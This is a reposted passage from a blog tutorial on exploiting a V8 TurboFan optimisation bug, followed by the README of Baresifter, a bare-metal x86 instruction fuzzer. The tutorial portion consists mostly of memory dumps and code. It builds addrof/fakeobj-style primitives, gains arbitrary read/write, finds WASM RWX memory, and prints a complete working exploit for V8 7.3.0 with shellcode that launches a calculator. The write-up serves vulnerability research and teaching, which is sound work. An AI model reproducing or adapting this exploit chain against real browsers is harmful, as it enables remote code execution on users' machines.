----- [ JS_ARRAY_TYPE : 0x20 ] ----- 0x00003a4d7608bb70 0x000034dc44482d41 MAP_TYPE 0x00003a4d7608bb78 0x000023fe25c00c19 FIXED_ARRAY_TYPE 0x00003a4d7608bb80 0x00003a4d7608bba9 FIXED_DOUBLE_ARRAY_TYPE 0x00003a4d7608bb88 0x0000006400000000 ----- [ FIXED_ARRAY_TYPE : 0x18 ] ----- 0x00003a4d7608bb90 0x000023fe25c007a9 MAP_TYPE 0x00003a4d7608bb98 0x0000000100000000 0x00003a4d7608bba0 0x000023fe25c005a9 ODDBALL_TYPE ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x18 ] ----- 0x00003a4d7608bba8 0x000023fe25c01451 MAP_TYPE 0x00003a4d7608bbb0 0x0000000100000000 0x00003a4d7608bbb8 0x3ff3333333333333 arr2[0] ----- [ JS_ARRAY_BUFFER_TYPE : 0x40 ] ----- 0x00003a4d7608bbc0 0x000034dc444821b1 MAP_TYPE 0x00003a4d7608bbc8 0x000023fe25c00c19 FIXED_ARRAY_TYPE 0x00003a4d7608bbd0 0x000023fe25c00c19 FIXED_ARRAY_TYPE 0x00003a4d7608bbd8 0x0000000000000100 0x00003a4d7608bbe0 0x0000556b8fdaea00 ab's backing_store pointer! 0x00003a4d7608bbe8 0x0000000000000002 0x00003a4d7608bbf0 0x0000000000000000 0x00003a4d7608bbf8 0x0000000000000000 We can simply use the corrupted JSArray (arr2) to read the ArrayBuffer (ab). This will be useful later because memory pointed to by the backing_store is fully controlled by us, as we can put arbitrary data in it, through a data view (like a Uint32Array). Now that we know a pointer to some fully controlled content, let's go to step 2! Step 2 : Getting a fake object Arrays of PACKED_ELEMENTS can contain tagged pointers to JavaScript objects. For those unfamiliar with v8, the elements kind of a JsArray in v8 gives information about the type of elements it is storing. Read this if you want to know more about elements kind. d8> var objects = new Array(new Object()) d8> %DebugPrint(objects) DebugPrint: 0xd79e750aee9: [JSArray] - elements: 0x0d79e750af19 <FixedArray[1]> { 0: 0x0d79e750aeb1 <Object map = 0x19c550d80451> } 0x19c550d82d91: [Map] - elements kind: PACKED_ELEMENTS Therefore if you can corrupt the content of an array of PACKED_ELEMENTS, you can put in a pointer to a crafted object. This is basically the idea behind the fakeobj primitive. The idea is to simply put the address backing_store+1 in this array (the original pointer is not tagged, v8 expect pointers to JavaScript objects to be tagged). Let's first simply write the value 0x4141414141 in the controlled memory. Indeed, we know that the very first field of any object is a a pointer to a map (long story short, the map is the object that describes the type of the object. Other engines call it a Shape or a Structure. If you want to know more, just read the previous post on SpiderMonkey or this blog post). Therefore, if v8 indeed considers our pointer as an object pointer, when trying to use it, we should expect a crash when dereferencing the map. Achieving this is as easy as allocating an array with an object pointer, looking for the index to the object pointer, and replacing it by the (tagged) pointer to the previously leaked backing_store. let arr = new Array(MAGIC,MAGIC,MAGIC); arr2 = Array.of(1.2); // allows to put the JSArray *before* the fixed arrays evil_ab = new ArrayBuffer(AB_LENGTH); packed_elements_array = Array.of(MARK1SMI,Math,MARK2SMI); Quickly check the memory layout. ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x28 ] ----- 0x0000220f2ec82410 0x0000353622a01451 MAP_TYPE 0x0000220f2ec82418 0x0000000300000000 0x0000220f2ec82420 0x3ff199999999999a 0x0000220f2ec82428 0x3ff199999999999a 0x0000220f2ec82430 0x3ff199999999999a ----- [ JS_ARRAY_TYPE : 0x20 ] ----- 0x0000220f2ec82438 0x0000261a44682d41 MAP_TYPE 0x0000220f2ec82440 0x0000353622a00c19 FIXED_ARRAY_TYPE 0x0000220f2ec82448 0x0000220f2ec82471 FIXED_DOUBLE_ARRAY_TYPE 0x0000220f2ec82450 0x0000006400000000 ----- [ FIXED_ARRAY_TYPE : 0x18 ] ----- 0x0000220f2ec82458 0x0000353622a007a9 MAP_TYPE 0x0000220f2ec82460 0x0000000100000000 0x0000220f2ec82468 0x0000353622a005a9 ODDBALL_TYPE ----- [ FIXED_DOUBLE_ARRAY_TYPE : 0x18 ] ----- 0x0000220f2ec82470 0x0000353622a01451 MAP_TYPE 0x0000220f2ec82478 0x0000000100000000 0x0000220f2ec82480 0x3ff3333333333333 ----- [ JS_ARRAY_BUFFER_TYPE : 0x40 ] ----- 0x0000220f2ec82488 0x0000261a446821b1 MAP_TYPE 0x0000220f2ec82490 0x0000353622a00c19 FIXED_ARRAY_TYPE 0x0000220f2ec82498 0x0000353622a00c19 FIXED_ARRAY_TYPE 0x0000220f2ec824a0 0x0000000000000100 0x0000220f2ec824a8 0x00005599e4b21f40 0x0000220f2ec824b0 0x0000000000000002 0x0000220f2ec824b8 0x0000000000000000 0x0000220f2ec824c0 0x0000000000000000 ----- [ JS_ARRAY_TYPE : 0x20 ] ----- 0x0000220f2ec824c8 0x0000261a44682de1 MAP_TYPE 0x0000220f2ec824d0 0x0000353622a00c19 FIXED_ARRAY_TYPE 0x0000220f2ec824d8 0x0000220f2ec824e9 FIXED_ARRAY_TYPE 0x0000220f2ec824e0 0x0000000300000000 ----- [ FIXED_ARRAY_TYPE : 0x28 ] ----- 0x0000220f2ec824e8 0x0000353622a007a9 MAP_TYPE 0x0000220f2ec824f0 0x0000000300000000 0x0000220f2ec824f8 0x0000001300000000 // MARK 1 for memory scanning 0x0000220f2ec82500 0x00002f3befd86b81 JS_OBJECT_TYPE 0x0000220f2ec82508 0x0000003700000000 // MARK 2 for memory scanning Good, the FixedArray with the pointer to the Math object is located right after the ArrayBuffer. Observe that we put markers so as to scan memory instead of hardcoding offsets (which would be bad if we were to have a different memory layout for whatever reason). After locating the (oob) index to the object pointer, simply overwrite it and use it. let view = new BigUint64Array(evil_ab); view[0] = 0x414141414141n; // initialize the fake object with this value as a map pointer // ... arr2[index_to_object_pointer] = tagFloat(fbackingstore_ptr); packed_elements_array[1].x; // crash on 0x414141414141 because it is used as a map pointer Et voilà! Step 3 : Arbitrary read/write primitive Going from step 2 to step 3 is fairly easy. We just need our ArrayBuffer to contain data that look like an actual object. More specifically, we would like to craft an ArrayBuffer with a controlled backing_store pointer. You can also directly corrupt the existing ArrayBuffer to make it point to arbitrary memory. Your call! Don't forget to choose a length that is big enough for the data you plan to write (most likely, your shellcode). let view = new BigUint64Array(evil_ab); for (let i = 0; i < ARRAYBUFFER_SIZE / PTR_SIZE; ++i) { view[i] = f2i(arr2[ab_len_idx-3+i]); if (view[i] > 0x10000 && !(view[i] & 1n)) view[i] = 0x42424242n; // backing_store } // [...] arr2[magic_mark_idx+1] = tagFloat(fbackingstore_ptr); // object pointer // [...] let rw_view = new Uint32Array(packed_elements_array[1]); rw_view[0] = 0x1337; // *0x42424242 = 0x1337 You should get a crash like this. $ d8 rw.js [+] corrupted JSArray's length [+] Found backingstore pointer : 0000555c593d9890 Received signal 11 SEGV_MAPERR 000042424242 ==== C stack trace =============================== [0x555c577b81a4] [0x7ffa0331a390] [0x555c5711b4ae] [0x555c5728c967] [0x555c572dc50f] [0x555c572dbea5] [0x555c572dbc55] [0x555c57431254] [0x555c572102fc] [0x555c57215f66] [0x555c576fadeb] [end of stack trace] Step 4 : Overwriting WASM RWX memory Now that's we've got an arbitrary read/write primitive, we simply want to overwrite RWX memory, put a shellcode in it and call it. We'd rather not do any kind of ROP or JIT code reuse(0vercl0k did this for SpiderMonkey). V8 used to have the JIT'ed code of its JSFunction located in RWX memory. But this is not the case anymore. However, as Andrea Biondo showed on his blog, WASM is still using RWX memory. All you have to do is to instantiate a WASM module and from one of its function, simply find the WASM instance object that contains a pointer to the RWX memory in its field JumpTableStart. Plan of action: 1. Read the JSFunction's shared function info 2. Get the WASM exported function from the shared function info 3. Get the WASM instance from the exported function 4. Read the JumpTableStart field from the WASM instance As I mentioned above, I use a modified v8 engine for which I implemented a %DumpObjects feature that prints an annotated memory dump. It allows to very easily understand how to get from a WASM JS function to the JumpTableStart pointer. I put some code here (Use it at your own risks as it might crash sometimes). Also, depending on your current checkout, the code may not be compatible and you will probably need to tweak it. %DumpObjects will pinpoint the pointer like this: ----- [ WASM_INSTANCE_TYPE : 0x118 : REFERENCES RWX MEMORY] ----- [...] 0x00002fac7911ec20 0x0000087e7c50a000 JumpTableStart [RWX] So let's just find the RWX memory from a WASM function. sample_wasm.js can be found here. d8> load("sample_wasm.js") d8> %DumpObjects(global_test,10) ----- [ JS_FUNCTION_TYPE : 0x38 ] ----- 0x00002fac7911ed10 0x00001024ebc84191 MAP_TYPE 0x00002fac7911ed18 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 0x00002fac7911ed20 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 0x00002fac7911ed28 0x00002fac7911ecd9 SHARED_FUNCTION_INFO_TYPE 0x00002fac7911ed30 0x00002fac79101741 NATIVE_CONTEXT_TYPE 0x00002fac7911ed38 0x00000d1caca00691 FEEDBACK_CELL_TYPE 0x00002fac7911ed40 0x00002dc28a002001 CODE_TYPE ----- [ TRANSITION_ARRAY_TYPE : 0x30 ] ----- 0x00002fac7911ed48 0x00000cdfc0080b69 MAP_TYPE 0x00002fac7911ed50 0x0000000400000000 0x00002fac7911ed58 0x0000000000000000 function 1() { [native code] } d8> %DumpObjects(0x00002fac7911ecd9,11) ----- [ SHARED_FUNCTION_INFO_TYPE : 0x38 ] ----- 0x00002fac7911ecd8 0x00000cdfc0080989 MAP_TYPE 0x00002fac7911ece0 0x00002fac7911ecb1 WASM_EXPORTED_FUNCTION_DATA_TYPE 0x00002fac7911ece8 0x00000cdfc00842c1 ONE_BYTE_INTERNALIZED_STRING_TYPE 0x00002fac7911ecf0 0x00000cdfc0082ad1 FEEDBACK_METADATA_TYPE 0x00002fac7911ecf8 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911ed00 0x000000000000004f 0x00002fac7911ed08 0x000000000000ff00 ----- [ JS_FUNCTION_TYPE : 0x38 ] ----- 0x00002fac7911ed10 0x00001024ebc84191 MAP_TYPE 0x00002fac7911ed18 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 0x00002fac7911ed20 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 0x00002fac7911ed28 0x00002fac7911ecd9 SHARED_FUNCTION_INFO_TYPE 52417812098265 d8> %DumpObjects(0x00002fac7911ecb1,11) ----- [ WASM_EXPORTED_FUNCTION_DATA_TYPE : 0x28 ] ----- 0x00002fac7911ecb0 0x00000cdfc00857a9 MAP_TYPE 0x00002fac7911ecb8 0x00002dc28a002001 CODE_TYPE 0x00002fac7911ecc0 0x00002fac7911eb29 WASM_INSTANCE_TYPE 0x00002fac7911ecc8 0x0000000000000000 0x00002fac7911ecd0 0x0000000100000000 ----- [ SHARED_FUNCTION_INFO_TYPE : 0x38 ] ----- 0x00002fac7911ecd8 0x00000cdfc0080989 MAP_TYPE 0x00002fac7911ece0 0x00002fac7911ecb1 WASM_EXPORTED_FUNCTION_DATA_TYPE 0x00002fac7911ece8 0x00000cdfc00842c1 ONE_BYTE_INTERNALIZED_STRING_TYPE 0x00002fac7911ecf0 0x00000cdfc0082ad1 FEEDBACK_METADATA_TYPE 0x00002fac7911ecf8 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911ed00 0x000000000000004f 52417812098225 d8> %DumpObjects(0x00002fac7911eb29,41) ----- [ WASM_INSTANCE_TYPE : 0x118 : REFERENCES RWX MEMORY] ----- 0x00002fac7911eb28 0x00001024ebc89411 MAP_TYPE 0x00002fac7911eb30 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 0x00002fac7911eb38 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 0x00002fac7911eb40 0x00002073d820bac1 WASM_MODULE_TYPE 0x00002fac7911eb48 0x00002073d820bcf1 JS_OBJECT_TYPE 0x00002fac7911eb50 0x00002fac79101741 NATIVE_CONTEXT_TYPE 0x00002fac7911eb58 0x00002fac7911ec59 WASM_MEMORY_TYPE 0x00002fac7911eb60 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911eb68 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911eb70 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911eb78 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911eb80 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911eb88 0x00002073d820bc79 FIXED_ARRAY_TYPE 0x00002fac7911eb90 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911eb98 0x00002073d820bc69 FOREIGN_TYPE 0x00002fac7911eba0 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911eba8 0x00000cdfc00804c9 ODDBALL_TYPE 0x00002fac7911ebb0 0x00000cdfc00801d1 ODDBALL_TYPE 0x00002fac7911ebb8 0x00002dc289f94d21 CODE_TYPE 0x00002fac7911ebc0 0x0000000000000000 0x00002fac7911ebc8 0x00007f9f9cf60000 0x00002fac7911ebd0 0x0000000000010000 0x00002fac7911ebd8 0x000000000000ffff 0x00002fac7911ebe0 0x0000556b3a3e0c00 0x00002fac7911ebe8 0x0000556b3a3ea630 0x00002fac7911ebf0 0x0000556b3a3ea620 0x00002fac7911ebf8 0x0000556b3a47c210 0x00002fac7911ec00 0x0000000000000000 0x00002fac7911ec08 0x0000556b3a47c230 0x00002fac7911ec10 0x0000000000000000 0x00002fac7911ec18 0x0000000000000000 0x00002fac7911ec20 0x0000087e7c50a000 JumpTableStart [RWX] 0x00002fac7911ec28 0x0000556b3a47c250 0x00002fac7911ec30 0x0000556b3a47afa0 0x00002fac7911ec38 0x0000556b3a47afc0 ----- [ TUPLE2_TYPE : 0x18 ] ----- 0x00002fac7911ec40 0x00000cdfc00827c9 MAP_TYPE 0x00002fac7911ec48 0x00002fac7911eb29 WASM_INSTANCE_TYPE 0x00002fac7911ec50 0x00002073d820b849 JS_FUNCTION_TYPE ----- [ WASM_MEMORY_TYPE : 0x30 ] ----- 0x00002fac7911ec58 0x00001024ebc89e11 MAP_TYPE 0x00002fac7911ec60 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 0x00002fac7911ec68 0x00000cdfc0080c19 FIXED_ARRAY_TYPE 52417812097833 That gives us the following offsets: let WasmOffsets = { shared_function_info : 3, wasm_exported_function_data : 1, wasm_instance : 2, jump_table_start : 31 }; Now simply find the JumpTableStart pointer and modify your crafted ArrayBuffer to overwrite this memory and copy your shellcode in it. Of course, you may want to backup the memory before so as to restore it after! Full exploit The full exploit looks like this: // spawn gnome calculator let shellcode = [0xe8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x59, 0x49, 0x81, 0xe9, 0x05, 0x00, 0x00, 0x00, 0xb8, 0x01, 0x01, 0x00, 0x00, 0xbf, 0x6b, 0x00, 0x00, 0x00, 0x49, 0x8d, 0xb1, 0x61, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x20, 0x00, 0x0f, 0x05, 0x48, 0x89, 0xc7, 0xb8, 0x51, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x49, 0x8d, 0xb9, 0x62, 0x00, 0x00, 0x00, 0xb8, 0xa1, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0x49, 0x8d, 0xb9, 0x64, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x57, 0x48, 0x89, 0xe6, 0x49, 0x8d, 0x91, 0x7e, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x52, 0x48, 0x89, 0xe2, 0x0f, 0x05, 0xeb, 0xfe, 0x2e, 0x2e, 0x00, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x67, 0x6e, 0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c, 0x61, 0x74, 0x6f, 0x72, 0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x00]; let WasmOffsets = { shared_function_info : 3, wasm_exported_function_data : 1, wasm_instance : 2, jump_table_start : 31 }; let log = this.print; let ab = new ArrayBuffer(8); let fv = new Float64Array(ab); let dv = new BigUint64Array(ab); let f2i = (f) => { fv[0] = f; return dv[0]; } let i2f = (i) => { dv[0] = BigInt(i); return fv[0]; } let tagFloat = (f) => { fv[0] = f; dv[0] += 1n; return fv[0]; } let hexprintablei = (i) => { return (i).toString(16).padStart(16,"0"); } let assert = (l,r,m) => { if (l != r) { log(hexprintablei(l) + " != " + hexprintablei(r)); log(m); throw "failed assert"; } return true; } let NEW_LENGTHSMI = 0x64; let NEW_LENGTH64 = 0x0000006400000000; let AB_LENGTH = 0x100; let MARK1SMI = 0x13; let MARK2SMI = 0x37; let MARK1 = 0x0000001300000000; let MARK2 = 0x0000003700000000; let ARRAYBUFFER_SIZE = 0x40; let PTR_SIZE = 8; let opt_me = (x) => { let MAGIC = 1.1; // don't move out of scope let arr = new Array(MAGIC,MAGIC,MAGIC); arr2 = Array.of(1.2); // allows to put the JSArray *before* the fixed arrays evil_ab = new ArrayBuffer(AB_LENGTH); packed_elements_array = Array.of(MARK1SMI,Math,MARK2SMI, get_pwnd); let y = (x == "foo") ? 4503599627370495 : 4503599627370493; let z = 2 + y + y ; // 2 + 4503599627370495 * 2 = 9007199254740992 z = z + 1 + 1 + 1; z = z - (4503599627370495*2); // may trigger the OOB R/W let leak = arr[z]; arr[z] = i2f(NEW_LENGTH64); // try to corrupt arr2.length // when leak == MAGIC, we are ready to exploit if (leak != MAGIC) { // [1] we should have corrupted arr2.length, we want to check it assert(f2i(leak), 0x0000000100000000, "bad layout for jsarray length corruption"); assert(arr2.length, NEW_LENGTHSMI); log("[+] corrupted JSArray's length"); // [2] now read evil_ab ArrayBuffer structure to prepare our fake array buffer let ab_len_idx = arr2.indexOf(i2f(AB_LENGTH)); // check if the memory layout is consistent assert(ab_len_idx != -1, true, "could not find array buffer"); assert(Number(f2i(arr2[ab_len_idx + 1])) & 1, false); assert(Number(f2i(arr2[ab_len_idx + 1])) > 0x10000, true); assert(f2i(arr2[ab_len_idx + 2]), 2); let ibackingstore_ptr = f2i(arr2[ab_len_idx + 1]); let fbackingstore_ptr = arr2[ab_len_idx + 1]; // copy the array buffer so as to prepare a good looking fake array buffer let view = new BigUint64Array(evil_ab); for (let i = 0; i < ARRAYBUFFER_SIZE / PTR_SIZE; ++i) { view[i] = f2i(arr2[ab_len_idx-3+i]); } log("[+] Found backingstore pointer : " + hexprintablei(ibackingstore_ptr)); // [3] corrupt packed_elements_array to replace the pointer to the Math object // by a pointer to our fake object located in our evil_ab array buffer let magic_mark_idx = arr2.indexOf(i2f(MARK1)); assert(magic_mark_idx != -1, true, "could not find object pointer mark"); assert(f2i(arr2[magic_mark_idx+2]) == MARK2, true); arr2[magic_mark_idx+1] = tagFloat(fbackingstore_ptr); // [4] leak wasm function pointer let ftagged_wasm_func_ptr = arr2[magic_mark_idx+3]; // we want to read get_pwnd log("[+] wasm function pointer at 0x" + hexprintablei(f2i(ftagged_wasm_func_ptr))); view[4] = f2i(ftagged_wasm_func_ptr)-1n; // [5] use RW primitive to find WASM RWX memory let rw_view = new BigUint64Array(packed_elements_array[1]); let shared_function_info = rw_view[WasmOffsets.shared_function_info]; view[4] = shared_function_info - 1n; // detag pointer rw_view = new BigUint64Array(packed_elements_array[1]); let wasm_exported_function_data = rw_view[WasmOffsets.wasm_exported_function_data]; view[4] = wasm_exported_function_data - 1n; // detag rw_view = new BigUint64Array(packed_elements_array[1]); let wasm_instance = rw_view[WasmOffsets.wasm_instance]; view[4] = wasm_instance - 1n; // detag rw_view = new BigUint64Array(packed_elements_array[1]); let jump_table_start = rw_view[WasmOffsets.jump_table_start]; // detag assert(jump_table_start > 0x10000n, true); assert(jump_table_start & 0xfffn, 0n); // should look like an aligned pointer log("[+] found RWX memory at 0x" + jump_table_start.toString(16)); view[4] = jump_table_start; rw_view = new Uint8Array(packed_elements_array[1]); // [6] write shellcode in RWX memory for (let i = 0; i < shellcode.length; ++i) { rw_view[i] = shellcode[i]; } // [7] PWND! let res = get_pwnd(); print(res); } return leak; } (() => { assert(this.alert, undefined); // only v8 is supported assert(this.version().includes("7.3.0"), true); // only tested on version 7.3.0 // exploit is the same for both windows and linux, only shellcodes have to be changed // architecture is expected to be 64 bits })() // needed for RWX memory load("wasm.js"); opt_me(""); for (var i = 0; i < 0x10000; ++i) // trigger optimization opt_me(""); let res = opt_me("foo"); Conclusion I hope you enjoyed this article and thank you very much for reading If you have any feedback or questions, just contact me on my twitter @__x86. Special thanks to my friends 0vercl0k and yrp604 for their review! Kudos to the awesome v8 team. You guys are doing amazing work! Recommended reading V8's TurboFan documentation Benedikt Meurer's talks Mathias Bynen's website This article on ponyfoo Vyacheslav Egorov's website Samuel Groß's 2018 BlackHat talk on attacking client side JIT compilers Andrea Biondo's write up on the Math.expm1 TurboFan bug Jay Bosamiya's write up on the Math.expm1 TurboFan bug Sursa: https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/

Baresifter Baresifter is a 64-bit x86 instruction set fuzzer modeled after Sandsifter. In contrast to Sandsifter, Baresifter is intended to run bare-metal without any operating system. When loaded, the main fuzzing logic runs in ring0 as a tiny kernel. To safely execute arbitrary instructions, baresifter creates a single executable page in ring3 user space. For every instruction candidate, baresifter writes the instruction bytes to this user space page and attempts to execute it by exiting to user space. It follows the same algorithm as outlined in the original Sandsifter paper to find interesting instructions and guess instruction length. Building and running The build is currently tested on Fedora 29. The build requirements are clang++ 5.0 or later, scons, and qemu with KVM support (for easy testing). To start the build execute scons. Baresifter can be run in KVM with ./run.sh and will output its results to the console. To run baresifter bare-metal, use either grub or syslinux and boot baresifter.elf32 as multiboot kernel. It will dump instruction traces on the serial port. The serial port is hardcoded, so you might need to change that: git grep serial_output. Interpreting results Baresifter outputs data in a tabular format that looks like: E <exc> O <capstone-instruction-id> <status> | <instruction hex bytes> exc is the CPU exception that was triggered, when baresifter tried to execute the instruction. Exception 1 (#DB) indicates that an instruction was successfully executed. The capstone-instruction-id is an integer that represents the instruction that Capstone decoded. A zero in this field means that Capstone could not decode the instruction. status is currently one of BUG (indicating a capstone bug), UNKN (indicating an undocumented instruction), or OK (nothing interesting was found). A concrete example looks like this: E 0E O 0008 OK | 00 14 6D 00 00 00 00 E 01 O 0000 UNKN | 0F 0D 3E E 01 O 010A BUG | 66 E9 00 00 00 00 The first line is an instruction that decoded successfully and generated a page fault when executing (exception 0xE). Capstone knows this instruction. The second line is an undocumented instruction, i.e. the CPU executed it successfully (or at least didn't throw an undefined opcode exception), but Capstone has no idea what it is. The second line is a Capstone bug. Here both the CPU and Capstone both decoded an instruction, the CPU was able to execute it, but Capstone and the CPU disagree on the length of that instruction. Sursa: https://github.com/blitz/baresifter

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